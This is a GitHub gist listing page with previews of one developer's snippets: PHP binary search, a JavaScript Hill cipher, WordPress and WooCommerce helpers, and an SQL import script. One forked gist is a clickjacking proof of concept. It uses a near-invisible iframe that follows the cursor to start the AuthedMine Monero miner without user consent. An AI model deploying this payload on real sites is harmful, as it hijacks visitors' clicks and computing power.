Skip to content

Instantly share code, notes, and snippets.

Anton Lokotkov al5dy

View GitHub Profile
@al5dy
al5dy / index.php
Created Mar 13, 2018
Простой бинарный поиск
View index.php
function binary_search($list, $item) {
$min = 0;
$max = count($list)-1;
while($min <= $max) {
$middle = round(($min+$max)/2);
$guess = $list[$middle];
if($guess === $item) {
return 'index - ' .$middle . ', value -' . $item;
} elseif ($guess > $item) {
@al5dy
al5dy / common.js
Last active Jan 2, 2018
Шифр Хилла на JavaScript
View common.js
function hill(string, key) {
'use strict';
if(!string || !key && !string.length > 0 || !key.length>0)
return;
var s = this,
w = '',
a = ['','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','.',',','?','%','/',':','-','&','7','1'],
u = string.split(''),
@al5dy
al5dy / functions.php
Last active Jan 2, 2018
WordPress функция перевода HEX в RGB/A цвет
View functions.php
if ( ! function_exists( 'hex_to_rgb' ) ) {
function hex_to_rgb( $hex_color, $normal = false, $opacity = 1 ) {
$hex_int = hexdec( sanitize_hex_color($hex_color) );
$rgb = array( 'red' => 0xFF & ( $hex_int >> 0x10 ), 'green' => 0xFF & ( $hex_int >> 0x8 ), 'blue' => 0xFF & $hex_int );
if($normal) {
$opacity_value = is_numeric($opacity) ? $opacity : 1;
$rgb = 'rgba('. implode(',', array_values($rgb)) .','. $opacity_value .')';
}
return $rgb;
}
@al5dy
al5dy / clickjack-authedmine.html
Created Oct 31, 2017 — forked from bcoles/clickjack-authedmine.html
Start the AuthedMine JavaScript Monero miner without user consent (using clickjacking)
View clickjack-authedmine.html
<html>
<body>
<div id="container" style="border:0;margin:0;position:absolute;width:5px;height:5px;overflow:hidden;cursor:pointer;opacity:0.01">
<iframe style="position:absolute;border:0;width:5px;height:100px;top:-85px;cursor:pointer;" src="https://authedmine.com/media/miner.html?key=your_public_key"></iframe>
</div>
</body>
<script>
window.onmousemove = function(e) {
var container = document.getElementById("container");
@al5dy
al5dy / wcmp-tags.php
Created Aug 29, 2017
Загрузить *.sql файл из FTP в БД
View wcmp-tags.php
<?php
// Name of the file
$filename = 'churc.sql';
// MySQL host
$mysql_host = 'localhost';
// MySQL username
$mysql_username = 'root';
// MySQL password
$mysql_password = '';
@al5dy
al5dy / class-tgm-plugin-activation.php
Last active Jun 13, 2019
TGM 'Warning: sprintf(): Too few arguments...' bugfix
View class-tgm-plugin-activation.php
/**
* Sets install skin strings for each individual plugin.
*
* Checks to see if the automatic activation flag is set and uses the
* the proper strings accordingly.
*
* @since 2.2.0
*/
public function add_strings() {
if ( 'update' === $this->options['install_type'] ) {
@al5dy
al5dy / woocommerce.php
Created May 1, 2017
Удаляем попап изображения в карточке товара
View woocommerce.php
<?php
remove_theme_support( 'wc-product-gallery-lightbox' );
@al5dy
al5dy / woocommerce.php
Created May 1, 2017
Убираем zoom на карточке продукта
View woocommerce.php
<?php
remove_theme_support( 'wc-product-gallery-zoom' );
@al5dy
al5dy / vc_custom_icon_set.php
Created Feb 13, 2017 — forked from zecka/vc_custom_icon_set.php
Add a custom icon set from icomoon to visual composer vc_icon shortcode
View vc_custom_icon_set.php
<?php
// Add new custom font to Font Family selection in icon box module
function zeckart_add_new_icon_set_to_iconbox( ) {
$param = WPBMap::getParam( 'vc_icon', 'type' );
$param['value'][__( 'IcoMoon', 'total' )] = 'icomoon';
vc_update_shortcode_param( 'vc_icon', $param );
}
add_filter( 'init', 'zeckart_add_new_icon_set_to_iconbox', 40 );
@al5dy
al5dy / settings.php
Created Dec 26, 2016
Универсальное добавление класса "table" в <table>
View settings.php
if ( false !== strpos( $content, '<table' ) ) {
$rep = preg_replace('~<table\K(?:[^>]*?\K(\s?)class="([^"]*)")?~', ' class="$2$1table"', $rep);
}
You can’t perform that action at this time.